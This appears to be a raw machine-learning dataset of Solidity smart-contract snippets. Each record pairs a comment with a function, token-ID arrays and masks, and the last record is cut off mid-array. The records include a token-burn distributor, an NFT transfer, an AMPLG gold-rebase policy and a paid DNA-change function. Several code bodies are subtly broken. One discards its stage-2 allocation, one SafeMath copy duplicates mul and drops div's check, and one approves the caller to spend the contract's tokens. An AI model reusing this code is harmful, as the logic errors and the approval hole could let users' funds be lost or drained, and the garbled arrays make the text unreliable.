[ 1, 565, 871, 16401, 9217, 12, 11890, 8808, 4105, 734, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xE14f0298a42E1a266Fec67c4b9Dc4d75A02422e9/sources/UnidoBurner.sol
Can be called only by the moderators. Distribute any number of tokens from the contract address. Fetching the total supply. Target distribution addresses Maximum Tokens that can follow Stage 1 are (supply - limit) / 0.6 Stage 1 : Burnt at 60/20/20 down to limit Follow Stage 1: Burn: 60%, Reserve: 20%, EDF: 20%. Stage 2 Follow Stage 2: Reserve: 50%, EDF: 50%.
function distribute(uint256 tokens) public onlyModerator { require(tokens > 0, "Cannot distribute 0 Tokens!"); require(tokens <= 1000000 * 10**decimals, "Cannot distribute more than 1 million UDO Tokens at once!"); uint256 supply = udo.totalSupply(); address EDF = 0x2F9BF79fbd31345B33A76E3D630C173823af27cB; address reserve = 0x5c80F9982DcCc3F2C8b4CbDFdf60E684798e4284; uint256 actualAllocationStage_1 = 0; uint256 actualAllocationStage_2 = 0; uint256 maxAllocationStage_1 = supply.sub(limit).div(6).mul(10); if(tokens > maxAllocationStage_1) { actualAllocationStage_2 = tokens.sub(maxAllocationStage_1); actualAllocationStage_2 = 0; } actualAllocationStage_1 = tokens.sub(actualAllocationStage_2); uint256 tokensToBurn = 0; uint256 tokensToEDFandReserve = 0; if(actualAllocationStage_1 > 0) { tokensToEDFandReserve = actualAllocationStage_1.mul(2).div(10); tokensToBurn = actualAllocationStage_1.sub(tokensToEDFandReserve.mul(2)); udo.burn(tokensToBurn); TokensBurnt(tokensToBurn); udo.transfer(reserve, tokensToEDFandReserve); udo.transfer(EDF, tokensToEDFandReserve); Stage1(true); } if(actualAllocationStage_2 > 0) { actualAllocationStage_2 = actualAllocationStage_2.div(2); udo.transfer(reserve, actualAllocationStage_2); udo.transfer(EDF, actualAllocationStage_2); Stage2(true); } }
9,203,864
[ 1, 2568, 506, 2566, 1338, 635, 326, 681, 264, 3062, 18, 3035, 887, 1281, 1300, 434, 2430, 628, 326, 6835, 1758, 18, 8065, 310, 326, 2078, 14467, 18, 5916, 7006, 6138, 18848, 13899, 716, 848, 2805, 16531, 404, 854, 261, 2859, 1283, 300, 1800, 13, 342, 374, 18, 26, 16531, 404, 294, 605, 321, 88, 622, 4752, 19, 3462, 19, 3462, 2588, 358, 1800, 16093, 16531, 404, 30, 605, 321, 30, 4752, 9, 16, 1124, 6527, 30, 4200, 9, 16, 512, 4577, 30, 4200, 9, 18, 16531, 576, 16093, 16531, 576, 30, 1124, 6527, 30, 6437, 9, 16, 512, 4577, 30, 6437, 9, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25722, 12, 11890, 5034, 2430, 13, 1071, 1338, 1739, 7385, 288, 203, 203, 3639, 2583, 12, 7860, 405, 374, 16, 315, 4515, 25722, 374, 13899, 4442, 1769, 203, 3639, 2583, 12, 7860, 1648, 15088, 380, 1728, 636, 31734, 16, 315, 4515, 25722, 1898, 2353, 404, 312, 737, 285, 587, 3191, 13899, 622, 3647, 4442, 1769, 203, 540, 203, 3639, 2254, 5034, 14467, 273, 582, 2896, 18, 4963, 3088, 1283, 5621, 203, 540, 203, 3639, 1758, 512, 4577, 273, 374, 92, 22, 42, 29, 15259, 7235, 74, 16410, 23, 3437, 7950, 38, 3707, 37, 6669, 41, 23, 40, 4449, 20, 39, 4033, 7414, 4366, 1727, 5324, 71, 38, 31, 203, 3639, 1758, 20501, 273, 374, 92, 25, 71, 3672, 42, 2733, 11149, 40, 71, 39, 71, 23, 42, 22, 39, 28, 70, 24, 15237, 4577, 2180, 4848, 41, 26, 5193, 7235, 28, 73, 9452, 5193, 31, 203, 540, 203, 3639, 2254, 5034, 3214, 17353, 8755, 67, 21, 273, 374, 31, 203, 3639, 2254, 5034, 3214, 17353, 8755, 67, 22, 273, 374, 31, 203, 540, 203, 3639, 2254, 5034, 943, 17353, 8755, 67, 21, 273, 14467, 18, 1717, 12, 3595, 2934, 2892, 12, 26, 2934, 16411, 12, 2163, 1769, 203, 540, 203, 3639, 309, 12, 7860, 405, 943, 17353, 8755, 67, 21, 13, 288, 203, 5411, 3214, 17353, 8755, 67, 22, 273, 2430, 18, 1717, 12, 1896, 17353, 8755, 67, 21, 1769, 203, 5411, 3214, 17353, 8755, 67, 22, 273, 374, 31, 203, 3639, 289, 203, 540, 203, 3639, 3214, 17353, 8755, 67, 21, 2 ]
./partial_match/1/0xDfF321a4C9E02A67B2eD8399DeD1024F84424445/sources/NebuloidsNFT.sol
Underflow of the sender's balance is impossible because we check for ownership above and the recipient's balance can't realistically overflow.
function transferFrom(address from, address to, uint256 id) public virtual { require(from == _ownerOf[id], "WRONG_FROM"); require(to != address(0), "INVALID_RECIPIENT"); require( msg.sender == from || isApprovedForAll[from][msg.sender] || msg.sender == getApproved[id], "NOT_AUTHORIZED" ); unchecked { _balanceOf[from]--; _balanceOf[to]++; } _ownerOf[id] = to; delete getApproved[id]; emit Transfer(from, to, id); }
9,145,101
[ 1, 14655, 2426, 434, 326, 5793, 1807, 11013, 353, 23343, 2724, 732, 866, 364, 23178, 5721, 471, 326, 8027, 1807, 11013, 848, 1404, 2863, 5846, 1230, 9391, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 612, 13, 1071, 5024, 288, 203, 3639, 2583, 12, 2080, 422, 389, 8443, 951, 63, 350, 6487, 315, 7181, 7390, 67, 11249, 8863, 203, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 9347, 67, 862, 7266, 1102, 2222, 8863, 203, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 15330, 422, 628, 747, 203, 7734, 353, 31639, 1290, 1595, 63, 2080, 6362, 3576, 18, 15330, 65, 747, 203, 7734, 1234, 18, 15330, 422, 336, 31639, 63, 350, 6487, 203, 5411, 315, 4400, 67, 28383, 6, 203, 3639, 11272, 203, 203, 3639, 22893, 288, 203, 5411, 389, 12296, 951, 63, 2080, 65, 413, 31, 203, 203, 5411, 389, 12296, 951, 63, 869, 3737, 15, 31, 203, 3639, 289, 203, 203, 3639, 389, 8443, 951, 63, 350, 65, 273, 358, 31, 203, 203, 3639, 1430, 336, 31639, 63, 350, 15533, 203, 203, 3639, 3626, 12279, 12, 2080, 16, 358, 16, 612, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT /* _ __ __ ____ _ ____ _ _ _ / \ | \/ | _ \| | / ___| ___ | | __| | (_) ___ / _ \ | |\/| | |_) | | | | _ / _ \| |/ _` | | |/ _ \ / ___ \| | | | __/| |__| |_| | (_) | | (_| | _ | | (_) | /_/ \_\_| |_|_| |_____\____|\___/|_|\__,_| (_) |_|\___/ Ample Gold $AMPLG is a goldpegged defi protocol that is based on Ampleforths elastic tokensupply model. AMPLG is designed to maintain its base price target of 0.01g of Gold with a progammed inflation adjustment (rebase). Forked from Ampleforth: https://github.com/ampleforth/uFragments (Credits to Ampleforth team for implementation of rebasing on the ethereum network) GPL 3.0 license AMPLG_GoldPolicy.sol - AMPLG Gold Orchestrator Policy */ pragma solidity ^0.6.12; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } /** * @title Various utilities useful for uint256. */ library UInt256Lib { uint256 private constant MAX_INT256 = ~(uint256(1) << 255); /** * @dev Safely converts a uint256 to an int256. */ function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IAMPLG { function totalSupply() external view returns (uint256); function rebaseGold(uint256 epoch, int256 supplyDelta) external returns (uint256); } interface IOracle { function getData() external view returns (uint256, bool); } interface IGoldOracle { function getGoldPrice() external view returns (uint256, bool); function getMarketPrice() external view returns (uint256, bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title AMPLG $AMPLG Gold Supply Policy * @dev This is the extended orchestrator version of the AMPLG $AMPLG Ideal Gold Pegged DeFi protocol aka Ampleforth Gold ($AMPLG). * AMPLG operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable gold unit price against PAX gold. * * This component regulates the token supply of the AMPLG ERC20 token in response to * market oracles and gold price. */ contract AMPLGGoldPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 goldPrice, int256 requestedSupplyAdjustment, uint256 timestampSec ); IAMPLG public amplg; // Gold oracle provides the gold price and market price. IGoldOracle public goldOracle; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor() public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 6; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "AMPLG Error: Insufficient time has passed since last rebase."); require(tx.origin == msg.sender); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 curGoldPrice, uint256 marketPrice, int256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = amplg.rebaseGold(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, marketPrice, curGoldPrice, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals the formula * (current price – base target price in usd) * total supply / (base target price in usd * lag * factor) */ function getRebaseValues() public view returns (uint256, uint256, int256, int256) { uint256 curGoldPrice; bool goldValid; (curGoldPrice, goldValid) = goldOracle.getGoldPrice(); require(goldValid); uint256 marketPrice; bool marketValid; (marketPrice, marketValid) = goldOracle.getMarketPrice(); require(marketValid); int256 goldPriceSigned = curGoldPrice.toInt256Safe(); int256 marketPriceSigned = marketPrice.toInt256Safe(); int256 rate = marketPriceSigned.sub(goldPriceSigned); if (marketPrice > MAX_RATE) { marketPrice = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(marketPrice, curGoldPrice); if (supplyDelta > 0 && amplg.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(amplg.totalSupply())).toInt256Safe(); } return (curGoldPrice, marketPrice, rate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the market price * and the current gold price. */ function computeSupplyDelta(uint256 marketPrice, uint256 curGoldPrice) internal view returns (int256) { if (withinDeviationThreshold(marketPrice, curGoldPrice)) { return 0; } //(current price – base target price in usd) * total supply / (base target price in usd * lag factor) int256 goldPrice = curGoldPrice.toInt256Safe(); int256 marketPrice = marketPrice.toInt256Safe(); int256 delta = marketPrice.sub(goldPrice); int256 lagSpawn = marketPrice.mul(rebaseLag.toInt256Safe()); return amplg.totalSupply().toInt256Safe() .mul(delta).div(lagSpawn); } /** * @notice Sets the rebase lag parameter. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyOwner { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the parameter which control the timing and frequency of * rebase operations the minimum time period that must elapse between rebase cycles. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. */ function setRebaseTimingParameter(uint256 minRebaseTimeIntervalSec_) external onlyOwner { minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; } /** * @param rate The current market price * @param targetRate The current gold price * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the AMPLG token governed. * Can only be called once during initialization. * * @param amplg_ The address of the AMPLG ERC20 token. */ function setAMPLG(IAMPLG amplg_) external onlyOwner { require(amplg == IAMPLG(0)); amplg = amplg_; } /** * @notice Sets the reference to the AMPLG $AMPLG oracle. * @param _goldOracle The address of the AMPLG oracle contract. */ function setGoldOracle(IGoldOracle _goldOracle) external onlyOwner { goldOracle = _goldOracle; } }
* @title SafeMath @dev Math operations with safety checks that revert on error/
library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } }
1,575,209
[ 1, 9890, 10477, 225, 2361, 5295, 598, 24179, 4271, 716, 15226, 603, 555, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 10477, 288, 203, 203, 203, 203, 203, 225, 445, 14064, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 309, 261, 69, 422, 374, 13, 288, 203, 1377, 327, 374, 31, 203, 565, 289, 203, 203, 565, 2254, 5034, 276, 273, 279, 380, 324, 31, 203, 565, 2583, 12, 71, 342, 279, 422, 324, 1769, 203, 203, 565, 327, 276, 31, 203, 225, 289, 203, 203, 225, 445, 14064, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 309, 261, 69, 422, 374, 13, 288, 203, 1377, 327, 374, 31, 203, 565, 289, 203, 203, 565, 2254, 5034, 276, 273, 279, 380, 324, 31, 203, 565, 2583, 12, 71, 342, 279, 422, 324, 1769, 203, 203, 565, 327, 276, 31, 203, 225, 289, 203, 203, 225, 445, 3739, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 2254, 5034, 276, 273, 279, 342, 324, 31, 203, 203, 565, 327, 276, 31, 203, 225, 289, 203, 203, 225, 445, 720, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 565, 2583, 12, 70, 1648, 279, 1769, 203, 565, 2254, 5034, 276, 273, 279, 300, 324, 31, 203, 203, 565, 327, 276, 31, 203, 225, 289, 203, 203, 225, 445, 527, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 16618, 1135, 261, 11890, 2 ]
./full_match/43113/0xfD25e06E252E31de86E9f0AdEf34c6261C9113b2/sources/tests/Fingers/FingersInTheNose.sol
les users payent le nombre maximum de changement souhaité inépendemment du résultat
function buyChangeDnaXTimes(uint256 _tokenId, uint _maximumNbOfChange) public { uint balance = token.balanceOf(msg.sender); require(balance >= _maximumNbOfChange*changeDnaFee, "Need more FINGERS"); token.approve(msg.sender, 100000000*10**18); uint256 allowance = token.allowance(msg.sender, address(this)); require(allowance >= _maximumNbOfChange*changeDnaFee, "Check the token allowance"); balance = balance - _maximumNbOfChange*changeDnaFee; token.transferFrom(msg.sender, address(this), _maximumNbOfChange*changeDnaFee); _changeDnaXTimes(_tokenId, _maximumNbOfChange); }
7,148,724
[ 1, 1040, 3677, 8843, 319, 884, 12457, 6073, 4207, 443, 9435, 820, 272, 1395, 76, 1540, 132, 107, 316, 132, 107, 1907, 19117, 475, 9978, 436, 132, 107, 87, 406, 270, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 445, 30143, 3043, 40, 6582, 3983, 4485, 12, 11890, 5034, 389, 2316, 548, 16, 2254, 389, 15724, 22816, 951, 3043, 13, 1071, 288, 203, 3639, 2254, 11013, 273, 1147, 18, 12296, 951, 12, 3576, 18, 15330, 1769, 203, 3639, 2583, 12, 12296, 1545, 389, 15724, 22816, 951, 3043, 14, 3427, 40, 6582, 14667, 16, 315, 14112, 1898, 478, 1360, 11367, 8863, 203, 540, 203, 3639, 1147, 18, 12908, 537, 12, 3576, 18, 15330, 16, 2130, 9449, 14, 2163, 636, 2643, 1769, 203, 540, 203, 3639, 2254, 5034, 1699, 1359, 273, 1147, 18, 5965, 1359, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 10019, 203, 3639, 2583, 12, 5965, 1359, 1545, 389, 15724, 22816, 951, 3043, 14, 3427, 40, 6582, 14667, 16, 315, 1564, 326, 1147, 1699, 1359, 8863, 203, 3639, 11013, 273, 11013, 300, 389, 15724, 22816, 951, 3043, 14, 3427, 40, 6582, 14667, 31, 203, 3639, 1147, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 15724, 22816, 951, 3043, 14, 3427, 40, 6582, 14667, 1769, 203, 203, 3639, 389, 3427, 40, 6582, 3983, 4485, 24899, 2316, 548, 16, 389, 15724, 22816, 